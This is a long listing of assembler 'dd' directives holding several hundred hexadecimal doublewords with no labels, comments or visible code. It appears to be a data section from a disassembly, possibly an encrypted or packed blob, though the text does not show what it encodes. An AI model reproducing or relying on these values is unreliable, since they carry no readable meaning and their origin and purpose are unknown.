		dd 52DD3988h, 0F085EEBAh, 0B8F682E9h, 49D0819Ah, 0F3701E74h
		dd 0E907A0F7h, 27D79C6Fh, 0AE85CD57h, 0F95B9807h, 800348B2h
		dd 0EAC0F4C2h, 1D37B708h, 3BACD305h, 0F180A420h, 691270E3h
		dd 0B4FB0E31h, 9050450h, 0D9013089h, 59885788h,	8087691Eh
		dd 0FA4A0437h, 0C854D70Bh, 9A5CD670h, 3F4E0FA4h, 424927FAh
		dd 5F2759D6h, 0DBB5C04Ch, 3B7C2541h, 0DDC39D92h, 30D41C86h
		dd 8EF9BFDh, 2F20A2F1h,	537258D7h, 45A07587h, 91D5EF7h
		dd 0E40C2560h, 711BA936h, 0DEA6B847h, 8C0CC0D8h, 0F8010E9Bh
		dd 0B4172CBDh, 213841C0h, 3452D10Eh, 0E190D793h, 3DF9105Eh
		dd 8E81AB97h, 28BBCE61h, 1D6F717h, 6C676696h, 0D64000Ah
		dd 0EBA94E17h, 0C7E90F44h, 0EA0304EDh, 61D14558h, 492EB1B7h
		dd 886B31D8h, 80510772h, 75E07618h, 0E258FBAh, 57827F3Ah
		dd 0B65872E9h, 6072F69Fh, 5884179Ch, 458B5B96h,	0C33D405Ah
		dd 6966BF1Eh, 0D72D7BB0h, 906D35Fh, 30DD05C8h, 83792FD5h
		dd 2A5AA1F1h, 0DBE0B189h, 0D293A9CAh, 39321760h, 21BEF86Ch
		dd 0D34F277Fh, 0BF189C77h, 5C50E23Ch, 56179CA5h, 90AB0C41h
		dd 808842F5h, 0DA31C704h, 6485095Bh, 0CEBD7781h, 96CF8C7Ah
		dd 7F295940h, 0A1365BFBh, 2A153580h, 229C79BAh,	4F072EF6h
		dd 98E575A5h, 77F46805h, 5DC6AFE9h, 0C20BF160h,	0B2B061Eh
		dd 9B2C225h, 0DED60408h, 75EFD107h, 5A40A09Ch, 0FD970BB2h
		dd 33F82F96h, 7C6F711Dh, 752CED80h, 60016341h, 28E828DDh
		dd 0DA9046A9h, 55DC43Ch, 4EB0E925h, 0C04A76EDh,	0D47C3D25h
		dd 8EF2034Eh, 2E089A10h, 81EA505Bh, 1CB5208h, 0DD5E3735h
		dd 0DC73033h, 484B6A90h, 8248AABCh, 4EE6612Dh, 0FB5F33A2h
		dd 2B22C50h, 464D7134h,	950400FDh, 0B0606450h, 4F0D0995h
		dd 35F17094h, 40915C25h, 19E5FC18h, 55D70997h, 68617A7Bh
		dd 9973666Ch, 3E81295Eh, 7C01F38Bh, 0C134C827h,	2A8942E2h
		dd 7E7D57EAh, 83B8BE5h,	5915061Eh, 7E076851h, 0B7FEE04h
		dd 0D4FB41D6h, 0E9080F7Eh, 92711B2Bh, 2564DECBh, 52655B4Eh
		dd 34AE0E18h, 9588A31Fh, 2118D816h, 0E97B0965h,	0CA56DFEAh
		dd 5A64F687h, 0A276A329h, 0C573024Ch, 0E2837C5Bh, 4C9DB61h
		dd 6D07ED04h, 9CDD5A09h, 56622045h, 0FF5E5B26h,	0AF8E108h
		dd 5996C588h, 14D08A50h, 27BB9603h, 57518BFBh, 82C25CB2h
		dd 0B33655Fh, 9E7CD677h, 0A80DE9D8h, 0EED889A1h, 0EB2AE943h
		dd 3F7E8723h, 2318506Dh, 0E6800C71h, 0BBC6CF4Ah, 0C0FA240Ch
		dd 0CAE9043Ch, 0C6F2AB1Ch, 8C4F4717h, 5976B112h, 3EB35307h
		dd 5BC7D828h, 2945020Bh, 0E5880332h, 87DBF8B9h,	3F33BE39h
		dd 4B90C04Ch, 478E89A5h, 0CE68C14Ch, 0B7FC2E78h, 767504E2h
		dd 0E2D672BDh, 64802012h, 9D237768h, 0E97B0D9Ah, 6406E986h
		dd 8F681694h, 9E80F92Dh, 0F5106389h, 0FE20469Ch, 33BB043Bh
		dd 0BA2C6721h, 0DEADC004h, 0E0380500h, 893EE5F4h, 96A012C6h
		dd 127E3D54h, 0B2BA4717h, 0B52C1C8Ah, 0C8283AC6h, 2FE91AE3h
		dd 1740621Ah, 593D194Eh, 0BACAF7Ah, 22E5E507h, 0E95477C6h
		dd 0D47BF73Bh, 935242Ch, 735BBD60h, 81550184h, 0A72B52CDh
		dd 0D4A23E1Ch, 86E4200h, 7F55E95Fh, 53771D92h, 0B3917A74h
		dd 8AC52A01h, 657B31A6h, 0AA0A8709h, 0B8519736h, 5DBF8B7Ch
		dd 0D6FA77C9h, 0E7DCB90h, 75C41ABFh, 0E906EAE7h, 8FE03Eh
		dd 337656B8h, 35D8F765h, 70422301h, 8171E96Fh, 0E103C93Ah
		dd 33CB7564h, 5FDB94BAh, 289A1184h, 1761044Ah, 0A6E8AEB7h
		dd 5E05C8A7h, 6604FA89h, 680109A9h, 0D36F1C9Dh,	646865D2h
		dd 621E1BBEh, 518B7819h, 0B1AD4B17h, 31643B4Eh,	1234EA02h
		dd 1EEB2113h, 0BE3A753Ch, 3689B20h, 1883D22Eh, 47C799C0h
		dd 3474230Bh, 0B2965F89h, 765B512Dh, 6FE4E221h,	3CDCB536h
		dd 3FBEBB87h, 0C4A31207h, 0B81E0338h, 1F6D67B4h, 8DF409D2h
		dd 0A45B3F80h, 0D343B92Bh, 0EE9FE00Bh, 0C3ED1F60h, 7DAD0D54h
		dd 8458B53Ch, 648B0882h, 0ADE5677Dh, 0E962EAD6h, 5E0F5097h
		dd 0C4A3F205h, 4413F801h, 5813EDC8h, 3FA9B74Eh,	8001EFC0h
		dd 0DDE940CFh, 14D03A6Fh, 5A657760h, 0EAC6854Ch, 78F1FD09h
		dd 340788Ah, 142EB286h,	12F1C729h, 4217642Dh, 6EF4E5EFh
		dd 35ED4040h, 95519001h, 88065D2h, 199A6CE9h, 7DD22D12h
		dd 0E829C502h, 5D078405h, 2883C9EFh, 5AF41D93h,	400C0F6Ch
		dd 9FD8E355h, 50058814h, 5838428Fh, 2D9E60BFh, 762F874Bh
		dd 139C565Dh, 29F20A06h, 0D3E281C9h, 0D86F675Eh, 0F2DAAF2h
		dd 0E435E58h, 32C901A7h, 516A01D7h, 600DBE56h, 0EF018149h
		dd 0C7577F0h, 173A27E9h, 7964EDBEh, 0D1A5D24h, 92F17EADh
		dd 295FFB05h, 0DAB5CBC9h, 3DD673A4h, 2EA50DEBh,	47C5695Ch
		dd 0EA2C13BFh, 1B718139h, 43E17E7Ch, 0F40AA733h, 44685810h
		dd 9CA21C4Eh, 3AFE26D8h, 0FC7D1925h, 2D84B9Dh, 0BE8003EEh
		dd 0FD65028Bh, 5EF72152h, 60F2AB58h, 772D022Fh,	52F8DC22h
		dd 0A4AABA78h, 0FAA977h, 3B11C2D4h, 5C0F9864h, 0E3F7B19Bh
		dd 0F9F7C742h, 0A60B6D53h, 9E2A44C3h, 80E39209h, 0C1295E46h
		dd 96C94FDEh, 4AC4F44Fh, 0B01B14C6h, 0F8BBB0D2h, 67523573h
		dd 4D3E8441h, 6E0C102h,	0F7C9340h, 0F7642C00h, 1C383DBh
		dd 9C0904Bh, 21F476DFh,	91B67302h, 0D095020Bh, 4BBAC89Eh
		dd 534C860Eh, 6E5909E4h, 661705ADh, 274C8CACh, 0F438AA4Eh
		dd 0E5E97756h, 4B1BB72Fh, 0BD7F28A3h, 4253CFCh,	35E8B7FCh
		dd 4770B803h, 0CC306275h, 41E4B402h, 0F4664B88h, 430BC75Dh
		dd 57174D75h, 186A9484h, 3D66E854h, 9B982B42h, 505116E6h
		dd 7FD0882Dh, 97521212h, 57466810h, 30A8E913h, 0C619CA31h
		dd 0E3C1370Ch, 81FEF405h, 13496254h, 7FF80977h,	1A8B68A0h
		dd 510086A6h, 5F5A7AB9h, 4B5BF3Fh, 3139CC44h, 0BA4CBCFh
		dd 0B0752168h, 1605446Ch, 0EE294062h, 0A880692Dh, 362739EFh
		dd 504E58E9h, 3FA291FCh, 555D3548h, 3C2B73B7h, 64D745CAh
		dd 82D0C388h, 0D4B2431Dh, 0E585FCCh, 1068C159h,	210E8925h
		dd 1118F005h, 0E6091E79h, 0FF0D4049h, 3BE47168h, 0B912F49Dh
		dd 1205FBA4h, 0F64FA41Ch, 0E43DD209h, 83B856Eh,	0FA3A28AFh
		dd 0D29A3F48h, 3135F88Dh, 45EF508Ah, 3E5741F8h,	0F083C99Fh
		dd 0D95CF701h, 0A1E510E5h, 23892F4Ch, 0E1890610h, 96261DBBh
		dd 9CAB6B12h, 0FB122FA8h, 2BED855h, 320AE9D4h, 5416A9C8h
		dd 0D73A8725h, 0D00207C9h, 331790C3h, 2EC22172h, 0BCAADCA9h
		dd 441C955Ah, 0EAD774h,	9566AA0Dh, 2ADAB81Ch, 779D6E84h
		dd 49DF25EEh, 0C3607CDCh, 4A30B4DCh, 0A468041Bh, 0B13500E2h
		dd 0F42AE6EFh, 0A225640Bh, 0D051E166h, 0A231685Bh, 29BAE903h
		dd 0ECA29D2Ah, 0A4956893h
		dd 60B0653Dh, 1CF1BF55h, 6864135Bh, 2FA9E21Ch, 85BAD6EAh
		dd 0E78939E9h, 92BA4E8Bh, 0C978FCDCh, 0E3C05C7Ah, 252B73EBh
		dd 7FD8977Ah, 2E0038B6h, 0BA44A347h, 0C3FF0148h, 58C2298Ch
		dd 7F0E6C31h, 45B7469Ah, 2AB29CDEh, 0F1C14EECh,	0D44E30A0h
		dd 588042BFh, 0A6895ED6h, 9DBA4EBEh, 0B5DF6092h, 0E50B6880h
		dd 4B409A6Eh, 4C0D47D8h, 0FC8027C7h, 81344F55h,	330FCB03h
		dd 0B84352C8h, 261DE7F3h, 18D074A3h, 4DC912FFh,	0F43ECE28h
		dd 91BD5B5Ah, 55EAA205h, 5D4980E4h, 195A742Eh, 89310EEh
		dd 76C9BF4Bh, 0C946E720h, 0ABE66C97h, 78FC5B5Bh, 6368FB4Fh
		dd 33012C47h, 3EB094Fh,	0ACD9FA85h, 5F7B850Ah, 0D82595F3h
		dd 0D6955E50h, 515051EFh, 3CDF49h, 1EC0A3B1h, 0CB8007E1h
		dd 505C3083h, 2E7AA739h, 0C4FF6F74h, 78F9FBC3h,	25269A07h
		dd 0D5F7B56Ch, 0AD65BB18h, 85FF7009h, 4D0458D3h, 3107D4FDh
		dd 0A8F175EFh, 6DB90109h, 814FF93Ch, 0D9A69E9h,	0C5828601h
		dd 0BB00D537h, 5F6552CCh, 7D41AE2Bh, 0D954B304h, 81799730h
		dd 5BAF3B66h, 825E1209h, 0FB4F928Ah, 4EE9052Ch,	1D3912A1h
		dd 0D22FCD5Dh, 0CDFC080Eh, 0B9166809h, 63C60731h, 89A94992h
		dd 8AB07DFCh, 47CE538Fh, 4B20E4F3h, 0BAC88CAAh,	0B05E2440h
		dd 0CA0202A5h, 0F8318BF2h, 0BF08A8Eh, 5160F668h, 0D91589C3h
		dd 0D489A19Ah, 7E62915Ch, 664A5B2Dh, 0FC9F845Bh, 71CEC7BDh
		dd 2E147C39h, 9007C6A0h, 4B450945h, 0BE03377Ah,	9A8355Eh
		dd 0E0B77EDFh, 90E0D11Ah, 0B18C4A3Bh, 72EE2FF3h, 0A3200C40h
		dd 9873206Dh, 0DA14011Ch, 0CAE9A502h, 0A49F6C15h, 4D1087C0h
		dd 47124C97h, 2ABC7F20h, 0D1709320h, 812C6400h,	0EB71B2CFh
		dd 0B3BB81Eh, 38FAC329h, 482DC8DFh, 982B06F5h, 6A229DE9h
		dd 6F337C97h, 0AF122784h, 0A6929A44h, 62DAA7EAh, 544E9029h
		dd 0E88B490Ch, 7DD7CA7Fh, 0D6A474CDh, 1D3C5F2Dh, 0C6F7D2FFh
		dd 0E9E095E5h, 9830730Ch, 66B40C30h, 1F06403Dh,	18403804h
		dd 3D84DD01h, 2F0C081Ah, 5E209414h, 0BFB132ECh,	0AF5606Ch
		dd 6867EFF8h, 0D755E90Dh, 82BA6D94h, 0AFD8D6CCh, 44DA5637h
		dd 0DB6C9960h, 0BBCED359h, 9D0CECC6h, 0D543F8DEh, 5736D80Ch
		dd 0BE7C9F68h, 3120B020h, 0FD974Ch, 0BE5AD7A0h,	80A2162Bh
		dd 18BFE718h, 0E9AA4E46h, 1F0E5B4Fh, 56215610h,	0E7FCF068h
		dd 196C6609h, 48E5800Ah, 7E24172Ah, 0DA5B6021h,	0EC9375C3h
		dd 3112679Ch, 358F41FEh, 25B7444Bh, 0E8D13F6Bh,	680C4074h
		dd 0DE37502Dh, 7569C3h,	827A9A93h, 0D5E91844h, 0E02D2E26h
		dd 328ABC17h, 5F27A1F8h, 0D6522AF9h, 46E9502Eh,	0AD006E9Ah
		dd 9C6AF005h, 15D8291Ah, 2642BC68h, 0BBE95209h,	0C3800140h
		dd 0E3280712h, 0F296E4E3h, 0B3530C9Fh, 1CCD3084h, 0CB05EBC0h
		dd 0E5F008E3h, 0E93FF304h, 9052DF5h, 1F21ECDh, 99DC055Eh
		dd 488BFF89h, 0FD9720CEh, 0E913C534h, 0CAAA7E10h, 0D61427A8h
		dd 94D0DA4Ah, 2A45220h,	12D7B951h, 0F2D510DFh, 0E9490CEAh
		dd 0EB333C3Fh, 0EB8BDEBDh, 291558B1h, 588D4979h, 50A4434Ch
		dd 300072Fh, 0F2B920C6h, 0BF4AC014h, 7DF3C09h, 0C8A040C0h
		dd 9796E91Ah, 9BFDB00h,	6E24703Dh, 0D1099229h, 3177EEEh
		dd 4C903836h, 0A2A197B7h, 95FCA35h, 0D01C5DF8h,	4BF47C9Dh
		dd 0A9C3C5D5h, 3DD3090Ch, 826317F4h, 40179270h,	167B4D65h
		dd 16E91B49h, 8850D13Dh, 0FE328540h, 82FFF6C1h,	5F052634h
		dd 542C6EE9h, 0F2E18BFDh, 1C278048h, 9E9073F0h,	0E9EEA1BDh
		dd 0D16E086Fh, 81A1A8CCh, 0F5AE62Fh, 822F321Bh,	0DC604604h
		dd 19E8135Ch, 0DBE94D13h, 58815B0h, 0C6685BF9h,	7C4BEA1Ch
		dd 63B6D6B5h, 104A258Eh, 6883A4E2h, 0BB847547h,	3A9595B3h
		dd 9FB1510Bh, 28355982h, 0FC3816DDh, 97DB5FEBh,	6A065CA8h
		dd 574816C9h, 0F9968FC4h, 9EB1B396h, 0ADD5BC6Bh, 0EF2DB037h
		dd 83F76F42h, 26FDA18h,	5DB7C1DDh, 2E4065E8h, 172429D7h
		dd 4346C22h, 1F518DC0h,	0E9420BF8h, 43723EB0h, 194BCCDEh
		dd 5D608BFBh, 8AD2A2EBh, 0BD0B3576h, 0DEC0FF02h, 22B5413Bh
		dd 94D8FCB4h, 755658ACh, 0A5350A2Ch, 85A05EDCh,	75904152h
		dd 551510C1h, 367450E9h, 0F6D05829h, 28D19932h,	46C168E0h
		dd 0DEF79983h, 24F47E20h, 17432C77h, 0BE6280C9h, 6276BCAh
		dd 27535601h, 0FE20B3F8h, 12CE9723h, 0E8FAA530h, 0F0B7C280h
		dd 22AC4F41h, 0E7DF52EDh, 0B8E904FFh, 1274FF31h, 4D5298C0h
		dd 1361099h, 0E90840C5h, 542EE22Fh, 0E828E0CFh,	0D7EA5966h
		dd 9B98C8E0h, 0C3FE731Ch, 20A9CB94h, 78BB0023h,	811C1926h
		dd 170555F3h, 0DF310F7Ah, 51C02724h, 9727C97h, 9CF2E969h
		dd 75DD47A7h, 7280582Dh, 0C72E6859h, 0B262DB20h, 0EE7C5750h
		dd 45E85A93h, 4392AB1h,	0E73B8B81h, 2E21BA2Fh, 0F33A8BC6h
		dd 0CF4D79C5h, 3B914B01h, 8068B86Ch, 6DFF34CBh,	0E06B16FBh
		dd 96955CD4h, 63A00981h, 0DB811753h, 606A16CBh,	8F5A0490h
		dd 7CC2BC41h, 0BA2F75D8h, 52DD720h, 10A22D0Fh, 2507DF88h
		dd 0F69FCE5Ah, 82E02DB5h, 5F82443Fh, 0A2899DC5h, 1F7375EDh
		dd 993EE324h, 0EBC9240Bh, 0FE818AB9h, 6823A96Ch, 1855CA43h
		dd 88B5BCBBh, 0BDEC51FEh, 4EDC01Dh, 0A6D2C5DFh,	985EE0FCh
		dd 7309F717h, 0E2BB52B5h, 8C2ADC07h, 0CB2F8297h, 9C60030Bh
		dd 0D4948C1Dh, 0E9D60D48h, 0EE233D69h, 71F799E4h, 1C312A74h
		dd 10A55BD9h, 161E1EF7h, 0CC3039E9h, 2BF3EFF7h,	4E300EC9h
		dd 4B1272E0h, 0A764B03Dh, 0F71DD296h, 25AD68C5h, 0C246E635h
		dd 4C232BC8h, 0E80756D1h, 6F546E45h, 0B38204DEh, 0FAF8EEA6h
		dd 160BF326h, 0FE395260h, 2EB7E149h, 2CD00094h,	547668A4h
		dd 6515D714h, 0A8C3C316h, 5053B059h, 0EBB0B68h,	3B0242B5h
		dd 66F7611Bh, 4A519DF2h, 3894D918h, 9D14EA55h, 84C44CBh
		dd 25F0447h, 0B2EF0A81h, 5992DEB1h, 35BAFB0h, 0BF21990Dh
		dd 1E8E053Dh, 0C6A0C05Bh, 40AD0430h, 0EE7D95E9h, 6853FB30h
		dd 4B016213h, 5106078Ah, 9F9FFF6Ah, 0C01D52DFh,	1A91681Dh
		dd 48FCECBFh, 42C9C1D5h, 928CD6DEh, 4BE833C7h, 0F3AC6761h
		dd 1E25A984h, 0EBB85A2Dh, 0F2C2D72Ah, 38FDE132h, 9DDD30B3h
		dd 4A8BF659h, 3E2FA07h,	1DA1628Dh, 98E9F089h, 0AF4954E6h
		dd 0B27FF704h, 0D0D221F3h, 47376840h, 20E955A8h, 9EEC2C4Ah
		dd 98728892h, 86F8655Dh, 27ED4172h, 0E05129D4h,	0F2367580h
		dd 3013538h, 0E932F343h, 0DF05F45Ch, 51734826h,	280C9681h
		dd 6EB25903h, 3C4B89C9h, 683F09E2h, 0AF478262h,	7A10AFEh
		dd 0AF6A6C5Eh, 0E250F1B2h, 311ACC77h, 31185983h, 0B9C2EF1h
		dd 8A091682h, 0A08E0A0Eh, 0EB0580E1h, 68578C16h, 2B60A826h
		dd 9AE5EC4h, 53D75C52h,	0C775A726h, 80D28B5Ch, 5D9CDD14h
		dd 0E52BE51h, 1C90F5C7h, 0B280F7A3h, 39C0BFCAh,	0ED2845h
		dd 937B3168h, 19570844h, 49CA8706h, 927AF406h, 0ABA0D2E0h
		dd 4B8B44A4h, 772BFB14h, 8C06444Ah, 8ACAEF6Ch, 0FE8B4727h
		dd 98774EDFh, 432E2755h, 0F2B2594Ch, 18F4B905h,	0C4002AB6h
		dd 1A6F1BDCh, 613427E9h, 0F0DF11A9h, 28DA9EA4h,	0CD6E2DC7h
		dd 0B60C0FE5h, 40598D36h, 3E002DC7h, 5739D972h,	92406BFh
		dd 4F47653Bh, 0DD9836C3h, 4E5A107Eh, 0EC4A34ECh, 685A811Bh
		dd 518849E6h, 0B801EEE4h, 2AEC44D1h, 0C95CEDE8h, 8F825EF1h
		dd 3B7A3510h, 0A1FD7931h
		dd 0F5F018E3h, 0CAD665h, 41DFCB1Fh, 0E913399Dh,	0AAE60F80h
		dd 0A64FE33Ah, 93563D85h, 0E83435FDh, 3421C0EAh, 0BA042557h
		dd 66F16EAh, 920EFFF8h,	0E963D0F7h, 34020D9Bh, 973AB6BAh
		dd 0A902C10Eh, 5274C83Ah, 0BCADEF3h, 70FD43C2h,	4A08F6B8h
		dd 698FFFAAh, 3E85C074h, 681E1776h, 1BC4E5Eh, 0E3F541D3h
		dd 7C07FE7Fh, 0E90740D8h, 0D92D6127h, 4B133CD1h, 0F017AC78h
		dd 4CE4685Eh, 88D3221Ah, 12F58A9h, 11B974C6h, 89AF4B02h
		dd 792965BAh, 756D893Dh, 0DAFD681Ah, 57EB6E2h, 97E66E1Dh
		dd 9F71D9BFh, 0B9D2FE47h, 12989042h, 41DE3D3Dh,	0AAAF0D93h
		dd 0BB5BBD8Fh, 21035231h, 0C496B36Eh, 0FE12A2CEh, 0C7FF1616h
		dd 223AC2B0h, 57EBC8A0h, 0A47BB823h, 9B65D425h,	5DE19A28h
		dd 0E9501359h, 4A67B2C4h, 0AD538D5Eh, 8B3C56B4h, 0F90BEF01h
		dd 0CC36C5Ah, 0D9A65DAAh, 0CE6F2BBFh, 372B4869h, 0AB521C86h
		dd 0CF63F4h, 0E06844CAh, 0C0C28163h, 9C1F9716h,	6B85501h
		dd 0B52B5C3Bh, 0E908002Fh, 7BC035B1h, 290B8CEAh, 0E5D6005h
		dd 40A925C0h, 0B2E22FEFh, 352968CFh, 0E2EE6071h, 7E46A307h
		dd 2C08A0BFh, 811BE1E9h, 9BB64DB0h, 4CB7F30h, 12E68001h
		dd 6ADE2DE9h, 0BB422C31h, 50043E7Dh, 0FE2D7054h, 0E1F3F343h
		dd 9B88974h, 3D102428h,	2A1D5095h, 0B87B1241h, 16610699h
		dd 0B0C56CAh, 5B1796Ch,	70A5F5F9h, 0BCCC20F5h, 0AC20E698h
		dd 0EE212558h, 0C4033B61h, 9602569h, 0C5F68112h, 6A3F246Eh
		dd 0C0551F73h, 953563FBh, 59023032h, 0F8A8E948h, 0E2E574FEh
		dd 28023D4Dh, 5D34C2CCh, 68D7320Bh, 0BF7BDFBh, 450EB171h
		dd 17806CE5h, 31407C18h, 1DFACCDDh, 0EE24C121h,	4D040D05h
		dd 4EC3E60Ch, 54CDCDA6h, 89624641h, 0A102DDCAh,	775E2F3Bh
		dd 31FF082h, 0D9214316h, 6E35A44Fh, 0AD2E0B7Ah,	880B1F84h
		dd 2916F7BDh, 3601331Dh, 57C62E34h, 94C6820h, 0C101F86Ch
		dd 606728Ch, 0ADF39CF6h, 0B0ED3468h, 0AD0B4059h, 8C52249Fh
		dd 50D103E0h, 9C585EDh,	0EBF1CAD8h, 0D12D5AD6h,	0AB576559h
		dd 0AF2EAEF7h, 1C8892B9h, 58C20115h, 0C29FF280h, 206438D1h
		dd 4A72CDA0h, 838EFBEh,	442B0AEBh, 29E5392h, 6CF63F9Ah
		dd 5E78C1A9h, 4D4BA41Fh, 7F1BB901h, 0C47F9D22h,	0B7FCAF05h
		dd 4941050Dh, 1878380Eh, 0AF6C907h, 401DB6D9h, 0AD57F668h
		dd 0B78B4C20h, 0B820AD52h, 92E4B522h, 75CF8107h, 0B3AC310h
		dd 0C035CBA5h, 4CF0980Ch, 3D040908h, 0C437447Dh, 8F810BFh
		dd 8802E909h, 5404C071h, 0C080555Ah, 30CF22C7h,	0DFFC4B2Dh
		dd 61096B2Bh, 99CA41E9h, 0B84254D2h, 14C4D7BBh,	90477601h
		dd 5DA76828h, 3E002136h, 29E01F06h, 8EAA59CEh, 11A07A5Dh
		dd 2FEF237h, 0D806B5C7h, 0A7F0771Eh, 0A5E7100h,	7B9B88BAh
		dd 0FF74973Dh, 49DA3042h, 0A63BC8FEh, 9ABB1EBAh, 12749C5h
		dd 8ACDF145h, 0F7A36AF8h, 1CE016C0h, 741C8C9Fh,	5D6C15DBh
		dd 0FC4ADD76h, 12258D0h, 3C0B3040h, 94414E5Eh, 99E32A2Ch
		dd 483589E9h, 2E54E6E8h, 25360D2h, 30D45958h, 24156160h
		dd 0E9447F0Bh, 42F9A5h,	554947EEh, 0EA69F181h, 7A8BDF0Dh
		dd 0C5FBDB0h, 0A8EEBDC0h, 98AFB009h, 4CC402C7h,	0F22927A0h
		dd 20B0B5C3h, 9EC10B8Ah, 0E3E9D3DCh, 0F8DCCC2Ah, 0FA5A2B40h
		dd 828095C5h, 0C9FE9DB1h, 0F55A70FEh, 0C9562A23h, 4B2E18F2h
		dd 3A7837B5h, 5484FCB5h, 0B1099399h, 1B2683Ah, 2559250h
		dd 6BB70558h, 407D6A36h, 0B5C82128h, 754B57F9h,	0D859CC98h
		dd 1227BA80h, 908E344h,	0B9AFF7DAh, 82651401h, 0BA59204Eh
		dd 51AF3202h, 0FE4018E9h, 0AEBD705Eh, 771A5309h, 0BC4C5D31h
		dd 6582B65Fh, 38745A21h, 0E94B1068h, 2117C76Ah,	58CD7F0Bh
		dd 0F77C0389h, 6309C130h, 0C85E082Fh, 12EBC743h, 0BE6B4D44h
		dd 908DA50h, 59FE73E9h,	4298A769h, 6B4AE955h, 15BDE30Dh
		dd 2DFD29C0h, 9877EF89h, 9C71E968h, 0EC56276Fh,	0E0BB3113h
		dd 2F16FEDDh, 0BE038Ch,	0CA814A3Bh, 58587ECDh, 4DF207BDh
		dd 0D0690E1Eh, 60F1908Fh, 56BE7276h, 7001692Ah,	4EECE681h
		dd 0C12F1B46h, 70BFF56Ah, 7B41567Eh, 0AA48F920h, 998A77A1h
		dd 34D12731h, 306AF853h, 253E985Dh, 0FDA36458h,	7C8B5554h
		dd 16480C3Ah, 0C4EA5D68h, 0C081A57h, 1D3D1410h,	5B7FD812h
		dd 14407BA1h, 12077E32h, 0AF685516h, 755D5782h,	2A1C93B0h
		dd 27B8217Fh, 51D78F0Dh, 0B82A3C01h, 4A4C4C90h,	7E9C1FAEh
		dd 0B057E912h, 96775ECDh, 8116614Fh, 0F73C00AFh, 0A26853D2h
		dd 98374C03h, 0ADA295Bh, 31E9D106h, 8580A6F7h, 0B0AC275Eh
		dd 18C70A8Ah, 0DC29AD66h, 6E750B8Eh, 0F6628D76h, 1EAD285Fh
		dd 50364E66h, 0EC360597h, 3741AB2Ch, 0BEC680F3h, 0FEFF0684h
		dd 2184E1CEh, 27E9F401h, 8997D5FBh, 8F08440Ch, 30C6CCD8h
		dd 70F7E006h, 0B9F85A5Ah, 0C3E26A74h, 0FB876686h, 136F58AEh
		dd 5B79BFC0h, 0C3A033FAh, 8D3B0184h, 68E70272h,	0FF3F9706h
		dd 46108BA0h, 0E9133C04h, 40D2408Fh, 1C7E55C3h,	282F6805h
		dd 517249h, 1E0F9260h, 0C3B93A06h, 56545692h, 2F01BE71h
		dd 4EC179CEh, 0A2920C82h, 3FE19F45h, 40BF02A9h,	98781BC7h
		dd 38D90BACh, 94121865h, 3E040809h, 1834D5F0h, 30DE140Ah
		dd 6806398h, 9859BAE9h,	0F9D94045h, 685700F1h, 41780CE6h
		dd 47EA5F20h, 9FF207D8h, 4DFC0BCEh, 0AC59FB89h,	955D64Bh
		dd 0D9A97554h, 0C3F620D7h, 903FCA69h, 79070912h, 92FC352Ch
		dd 0D5A308A0h, 8009AFBAh, 360CD634h, 0C9810073h, 312575B2h
		dd 7C9477E9h, 9A92541Dh, 0F852E4F0h, 0C0F6B33h,	0D5CB927Eh
		dd 1920CE96h, 7DB0829Eh, 0BC055CAh, 0F8006A7h, 0B4B33085h
		dd 2969680Ch, 3F3339C4h, 56F9F640h, 89250274h, 0CF8E0F3h
		dd 65F3747h, 9576406Ch,	9AA84F7Fh, 78107773h, 1E129F4h
		dd 85F26AD9h, 40D0055Fh, 9276C248h, 3BE6600h, 0EC52E820h
		dd 88EA3DBAh, 3C748925h, 7F4EDD3Fh, 6C87050Eh, 0E8C76BE9h
		dd 76EBA0h, 90253413h, 0F723ED2Bh, 5F6ED858h, 0E9506B01h
		dd 0FE2BA6F4h, 68CEBB72h, 4AED805Fh, 1B63A89Dh,	0F974D328h
		dd 0B22B38C3h, 7C56DFECh, 9F5122F0h, 0F35A45FCh, 0B325937Dh
		dd 0FDF50F73h, 40AD32FEh, 4A944698h, 0BA0F8628h, 0A24B6498h
		dd 0CC5F4FBBh, 0E7265024h, 1EC650DFh, 2A147B74h, 589FB01h
		dd 5D0C37FEh, 44F094C2h, 4C3A2F20h, 49540A12h, 0E917F768h
		dd 5A3B49FBh, 5A759ED7h, 5BE9C5Ch, 57ED48BFh, 0C5F029E9h
		dd 6323875h, 0A795926h,	9D2C2967h, 1AB709BAh, 35D86220h
		dd 0F702877Fh, 595551D5h, 0FF9EB5Dh, 1C2046F6h,	5DB8137Eh
		dd 53093E9Fh, 28023EC6h, 450650FCh, 70272090h, 48E7894Ch
		dd 66082CF6h, 0BAC593Dh, 661E9A68h, 0D369202Fh,	689D62B7h
		dd 9BD558Eh, 6E6D76F3h,	28E6EF00h, 0ED900DBAh, 0C16B4F0Eh
		dd 3965D6Ah, 5A07B6E4h,	25E9445h, 0E66A84D0h, 604C0955h
		dd 801D9D18h, 2401D0F6h, 682E2C05h, 475056E2h, 0C05EB1h
		dd 0C18008E1h, 59CB2870h, 7B1E2BE1h, 5F685805h,	0B51F8FB3h
		dd 0E7CD941Bh, 88402E16h, 0B0245009h, 9617B83Fh, 0D9183F91h
		dd 4BA3FE04h, 0E253163Ch, 772680Ah, 0FAE3C191h,	22EA3BFEh
		dd 0FFD81393h, 73D52D02h, 405A2C3Ch, 2E4EE667h,	45144Fh
		dd 0EDF2BD3h, 0EA501FE9h, 914AAB41h, 3A989DBFh,	2D7C6BE4h
		dd 68806422h, 151375CFh
		dd 965A4461h, 430300Fh,	61784167h, 1DAC2A8Ah, 880B14Fh
		dd 3949E9BAh, 0F5C016Ch, 9C51C8AFh, 13588547h, 8B1EFF45h
		dd 12FC0C4Ch, 14A0090Dh, 0D28147F3h, 70772C6Fh,	0D10EE129h
		dd 0CD406E53h, 0B22455C1h, 75130931h, 335F0167h, 0F7C3C227h
		dd 8779A90h, 0B0EA3ABFh, 13FE29E5h, 9416B6E9h, 1BB8AE70h
		dd 19422A42h, 0E0CFE909h, 6F9A9077h, 10390D38h,	440F329h
		dd 0C19FB208h, 0ABDB02C3h, 0D7E99742h, 0D543914Ah, 2F9E62B9h
		dd 3A50A9A7h, 753F92A9h, 3806C9EBh, 51B8975h, 61E8322Fh
		dd 9D57FF4Bh, 1510ABF9h, 495F12EBh, 76F1F602h, 43B982A1h
		dd 94BF004Ch, 9B83951h,	33FEC706h, 90C7379h, 70F3D8A4h
		dd 4BB5F2D8h, 955FA20h,	2A2CBC80h, 589D9078h, 3EC89C28h
		dd 0B9E7F502h, 40570AFAh, 80388B7Eh, 0C4DEEEB0h, 0A0B08C52h
		dd 0F6D3BF5Ch, 0CAEAE9C2h, 460440C2h, 48150C6Eh, 0E90B42B9h
